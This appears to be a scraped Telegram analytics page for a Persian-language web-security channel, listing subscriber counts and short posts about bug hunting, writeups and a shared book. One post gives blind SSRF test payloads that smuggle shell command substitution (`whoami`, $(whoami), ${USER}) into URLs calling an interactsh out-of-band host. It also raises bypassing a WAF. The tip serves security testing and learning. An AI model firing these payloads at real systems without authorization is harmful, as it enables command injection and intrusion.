🕸 Articles

日期	订阅者增长	提及	频道
30 五月	0
29 五月	+1
28 五月	+2
27 五月	+1
26 五月	+1
25 五月	+6
24 五月	+1
23 五月	0
22 五月	+1
21 五月	0
20 五月	+2
19 五月	+1
18 五月	0
17 五月	+3
16 五月	+3
15 五月	+1
14 五月	+4
13 五月	+4
12 五月	+10
11 五月	+1
10 五月	0
09 五月	+2
08 五月	+2
07 五月	0
06 五月	+6
05 五月	+7
04 五月	+12
03 五月	+3
02 五月	+5
01 五月	+4

频道帖子

توی تست های blind ssrf شما جواب رو به صورت مستقیم نمی‌تونید ببینید باید از یه سرویس out of band کمک بگیرید تا بفهمید آیا سرور درخواست شما رو اجرا کرده یا نه. برای دریافت پاسخ های out of band میتونید از

https://app.interactsh.com

استفاده کنید. این سه تا دستور رو توی تست های blind ssrf بیارید. می‌تونید باهاش دستورات سیستم عاملی اجرا کنید. Text Payloads:

`whoami`
$(whoami)
${USER}

در نهایت باید پیلودتون شبیه به این باشه Text Payloads:

https://`whoami`.wovpawxjsgngqywkn[.]oast[.]fun
https://$(whoami).wovpawxjsgngqywkn.oast.fun
https://${USER}.wovpawxjsgngqywkn.oast.fun

کافیه این آدرس رو توی هر ورودی که مشکوک به ssrf هست بزنید و منتظر باشید در صورت آسیب پذیر بودن پاسخ توی داشبورد interactsh نمایش داده بشه حالا یه سوال اگر waf به کلمه whoami یا کاراکتر هایی که داره باهاش ارسال میشه حساس باشه و درخواست رو بلاک کنه راهی برای دور زدنش هست؟

2	چرا باید رایتاپ بخونیم؟ خوندن ۵۰ تا رایتاپ مثل اینه که ۵۰ هکر حرفه‌ای رو دعوت کنی کنار دستت بشینن و هر کدوم ذهنشون رو جلوت باز کنن. با هر رایتاپ، یه تیکه از درک و تجربه‌شون رو برمی‌داری و به روش خودت اضافه می‌کنی. نتیجه؟ چشمای تربیت‌شده‌ای که جزئیاتی رو می‌بینه که قبلاً هرگز به چشم نمی‌اومد و این دقیقاً همون چیزیه که یه باگ‌هانتر حرفه‌ای رو از بقیه جدا می‌کنه.	341
3	بعدی چی باشه؟	348
4	Author: zarvan Language: Persian Telegram channel: @web_articles	412
5	没有文字...	375
6	آخ یه نفر لفت داد	353
7	آخ یه نفر لفت داد	1
8	+3 没有文字...	368
9	Author: zarvan Language: Persian Telegram channel: @web_articles	688
10	+3 برش هایی از کتاب	526
11	درود امیدوارم حالتون خوب باشه همونطور که میدونید یکی از کتاب هایی که توی رودمپ یاد گیری وب هکینگ هست مخصوصا توصیه شده برای هانتر‌ها کتاب Real-World Bug Hunting _ Peter Yaworski هست. بعد از مدتی این کتاب رو بلاخره آماده کردم میخواستم چاپش کنم ولی خب بنا به دلایلی نشد که علتش رو هم توی کتاب توضیح دادم. امیدوارم این کتاب مفید باشه براتون.	455
12	10. Miane Ghamhayam (Ft. Fadaei).mp3	436
13	Author: zarvan Language: Persian Telegram channel: @web_articles	605
14	没有文字...	536
15	没有文字...	427
16	سلام بچه ها امیدوارم حالتون خوب باشه مفاهیم اولیه امنیت وب به نظرتون شامل چه چیزایی میشه؟ ممنون میشم همین زیر هر چیزی که فکر میکنید یه نفر باید برای یادگیری امنیت وب اپلیکیشن ها بلد باشه بهم بگین. به عنوان مثال: اینترنت چیه و چجوری کار می‌کنه؟ وب چطوری کار می‌کنه؟ Request/Response چیه؟ Cookie, Session, Storage چطور کار می‌کنن؟ مرورگر چطور رندر می‌کنه صفحات رو؟	506
17	Author: zarvan Language: Persian Telegram channel: @web_articles	2 105
18	خب coming soon کافیه دیگه سومین آسیب پذیری که بهش پرداختم CORS Misconfigoration هست. اول از همه گفتیم cors چیه؟ چطوری کار میکنه؟ چطوری پیاده سازی میشه؟ و در نهایت چه آسیب پذیری هایی داره	633
19	coming soon...	578
20	https://t.me/GitBook_s	165

查看所有帖子